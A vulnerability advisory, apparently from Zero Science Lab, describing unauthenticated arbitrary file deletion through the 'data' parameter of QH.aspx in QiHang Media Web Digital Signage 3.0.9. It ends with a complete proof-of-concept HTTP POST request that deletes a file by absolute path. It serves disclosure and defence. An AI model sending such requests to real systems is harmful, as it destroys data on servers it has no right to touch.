QiHang Media Web Digital Signage 3.0.9 Arbitrary File Deletion

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QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion  
  
  
Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.  
Guangzhou Hefeng Automation Technology Co., Ltd.  
Product web page: http://www.howfor.com  
Affected version: 3.0.9.0  
  
Summary: Digital Signage Software.  
  
Desc: Input passed to the 'data' parameter in 'QH.aspx' for delete action  
is not properly sanitised before being used to delete files. This can be  
exploited by an unauthenticated attacker to delete files with the permissions  
of the web server using their absolute path or via directory traversal  
sequences passed within the affected POST parameter.  
  
  
Tested on: Microsoft Windows Server 2012 R2 Datacenter  
Microsoft Windows Server 2003 Enterprise Edition  
ASP.NET 4.0.30319  
HowFor Web Server/5.6.0.0  
Microsoft ASP.NET Web QiHang IIS Server  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5580  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5580.php  
  
  
27.07.2020  
  
--  
  
  
POST /QH.aspx HTTP/1.1  
Host: 192.168.1.74:8090  
Content-Length: 105  
User-Agent: Eraser  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Accept: */*  
Origin: http://192.168.1.74:8090  
Referer: http://192.168.1.74:8090/index.htm  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"]  
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